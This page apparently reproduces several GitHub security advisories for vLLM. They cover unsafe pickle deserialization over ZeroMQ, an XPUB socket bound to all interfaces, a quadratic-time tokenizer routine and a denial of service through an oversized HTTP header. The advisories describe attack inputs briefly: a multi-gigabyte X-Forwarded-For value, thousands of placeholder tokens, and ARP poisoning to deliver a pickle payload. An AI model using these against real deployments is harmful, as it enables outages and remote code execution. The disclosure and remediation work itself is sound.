Note that this issue only affects the V0 engine, which has been off by default since v0.8.0. Further, the issue only applies to a deployment using tensor parallelism across multiple hosts, which we do not expect to be a common deployment pattern.

Since V0 is has been off by default since v0.8.0 and the fix is fairly invasive, we have decided not to fix this issue. Instead we recommend that users ensure their environment is on a secure network in case this pattern is in use.

The V1 engine is not affected by this issue.

Impact

In a multi-node vLLM deployment using the V0 engine, vLLM uses ZeroMQ for some multi-node communication purposes. The secondary vLLM hosts open a SUB ZeroMQ socket and connect to an XPUB socket on the primary vLLM host.

https://github.com/vllm-project/vllm/blob/c21b99b91241409c2fdf9f3f8c542e8748b317be/vllm/distributed/devicecommunicators/shmbroadcast.py#L295-L301

When data is received on this SUB socket, it is deserialized with pickle. This is unsafe, as it can be abused to execute code on a remote machine.

https://github.com/vllm-project/vllm/blob/c21b99b91241409c2fdf9f3f8c542e8748b317be/vllm/distributed/devicecommunicators/shmbroadcast.py#L468-L470

Since the vulnerability exists in a client that connects to the primary vLLM host, this vulnerability serves as an escalation point. If the primary vLLM host is compromised, this vulnerability could be used to compromise the rest of the hosts in the vLLM deployment.

Attackers could also use other means to exploit the vulnerability without requiring access to the primary vLLM host. One example would be the use of ARP cache poisoning to redirect traffic to a malicious endpoint used to deliver a payload with arbitrary code to execute on the target machine.

1 / 2
Source: GitHub
First published (updated )
Severity
7.5
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Impact In a multi-node vLLM deployment, vLLM uses ZeroMQ for some multi-node communication purposes. The primary vLLM host opens an XPUB ZeroMQ socket and binds it to ALL interfaces. While the socket is always opened for a multi-node deployment, it is only used when doing tensor parallelism across multiple hosts.

Any client with network access to this host can connect to this XPUB socket unless its port is blocked by a firewall. Once connected, these arbitrary clients will receive all of the same data broadcasted to all of the secondary vLLM hosts. This data is internal vLLM state information that is not useful to an attacker.

By potentially connecting to this socket many times and not reading data published to them, an attacker can also cause a denial of service by slowing down or potentially blocking the publisher.

Detailed Analysis

The XPUB socket in question is created here:

https://github.com/vllm-project/vllm/blob/c21b99b91241409c2fdf9f3f8c542e8748b317be/vllm/distributed/devicecommunicators/shmbroadcast.py#L236-L237

Data is published over this socket via MessageQueue.enqueue() which is called by MessageQueue.broadcastobject():

https://github.com/vllm-project/vllm/blob/790b79750b596043036b9fcbee885827fdd2ef3d/vllm/distributed/devicecommunicators/shmbroadcast.py#L452-L453

https://github.com/vllm-project/vllm/blob/790b79750b596043036b9fcbee885827fdd2ef3d/vllm/distributed/devicecommunicators/shmbroadcast.py#L475-L478

The MessageQueue.broadcastobject() method is called by the GroupCoordinator.broadcastobject() method in parallelstate.py:

https://github.com/vllm-project/vllm/blob/790b79750b596043036b9fcbee885827fdd2ef3d/vllm/distributed/parallelstate.py#L364-L366

The broadcast over ZeroMQ is only done if the GroupCoordinator was created with usemessagequeuebroadcaster set to True:

https://github.com/vllm-project/vllm/blob/790b79750b596043036b9fcbee885827fdd2ef3d/vllm/distributed/parallelstate.py#L216-L219

The only case where GroupCoordinator is created with usemessagequeuebroadcaster is the coordinator for the tensor parallelism group:

https://github.com/vllm-project/vllm/blob/790b79750b596043036b9fcbee885827fdd2ef3d/vllm/distributed/parallelstate.py#L931-L936

To determine what data is broadcasted to the tensor parallism group, we must continue tracing. GroupCoordinator.broadcastobject() is called by GroupCoordinator.broadcoasttensordict():

https://github.com/vllm-project/vllm/blob/790b79750b596043036b9fcbee885827fdd2ef3d/vllm/distributed/parallelstate.py#L489

which is called by broadcasttensordict() in communicationop.py:

https://github.com/vllm-project/vllm/blob/790b79750b596043036b9fcbee885827fdd2ef3d/vllm/distributed/communicationop.py#L29-L34

If we look at getdriverinputandbroadcast() in the V0 workerbase.py, we'll see how this tensor dict is formed:

https://github.com/vllm-project/vllm/blob/790b79750b596043036b9fcbee885827fdd2ef3d/vllm/worker/workerbase.py#L332-L352

but the data actually sent over ZeroMQ is the metadatalist portion that is split from this tensordict. The tensor parts are sent via torch.distributed and only metadata about those tensors is sent via ZeroMQ.

https://github.com/vllm-project/vllm/blob/54a66e5fee4a1ea62f1e4c79a078b20668e408c6/vllm/distributed/parallelstate.py#L61-L83

Patches

https://github.com/vllm-project/vllm/pull/17197

Workarounds

Prior to the fix, your options include: 1. Do not expose the vLLM host to a network where any untrusted connections may reach the host. 2. Ensure that only the other vLLM hosts are able to connect to the TCP port used for the XPUB socket. Note that port used is random.

References

Relevant code first introduced in https://github.com/vllm-project/vllm/pull/6183

1 / 2
Source: GitHub
First published (updated )
Severity
7.5
EPSS
0.04%
AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Summary A critical performance vulnerability has been identified in the input preprocessing logic of the multimodal tokenizer. The code dynamically replaces placeholder tokens (e.g., <|audio|>, <|image|>) with repeated tokens based on precomputed lengths. Due to ​​inefficient list concatenation operations​​, the algorithm exhibits ​​quadratic time complexity (O(n²))​​, allowing malicious actors to trigger resource exhaustion via specially crafted inputs.

Details ​​Affected Component​​: inputprocessorforphi4mm function. https://github.com/vllm-project/vllm/blob/8cac35ba435906fb7eb07e44fe1a8c26e8744f4e/vllm/modelexecutor/models/phi4mm.py#L1182-L1197

The code modifies the inputids list in-place using inputids = inputids[:i] + tokens + inputids[i+1:]. Each concatenation operation copies the entire list, leading to O(n) operations per replacement. For k placeholders expanding to m tokens, total time becomes O(kmn), approximating O(n²) in worst-case scenarios.

PoC Test data demonstrates exponential time growth: python testcases = [100, 200, 400, 800, 1600, 3200, 6400] runtimes = [0.002, 0.007, 0.028, 0.136, 0.616, 2.707, 11.854] # seconds Doubling input size increases runtime by ~4x (consistent with O(n²)).

Impact ​​Denial-of-Service (DoS):​​ An attacker could submit inputs with many placeholders (e.g., 10,000 <|audio1|> tokens), causing CPU/memory exhaustion. Example: 10,000 placeholders → ~100 million operations.

Remediation Recommendations​ Precompute all placeholder positions and expansion lengths upfront. Replace dynamic list concatenation with a single preallocated array. python Pseudocode for O(n) solution newinputids = [] for token in inputids: if token is placeholder: newinputids.extend([token] precomputedlength) else: newinputids.append(token)

1 / 2
Source: GitHub
First published (updated )
Severity
7.5
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Summary A Denial of Service (DoS) vulnerability can be triggered by sending a single HTTP GET request with an extremely large header to an HTTP endpoint. This results in server memory exhaustion, potentially leading to a crash or unresponsiveness. The attack does not require authentication, making it exploitable by any remote user.

Details The vulnerability leverages the abuse of HTTP headers. By setting a header such as X-Forwarded-For to a very large value like ("A" 5800000000), the server's HTTP parser or application logic may attempt to load the entire request into memory, overwhelming system resources.

Impact What kind of vulnerability is it? Who is impacted? Type of vulnerability: Denial of Service (DoS)

Resolution Upgrade to a version of vLLM that includes appropriate HTTP limits by deafult, or use a proxy in front of vLLM which provides protection against this issue.

1 / 2
Source: GitHub
First published (updated )

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203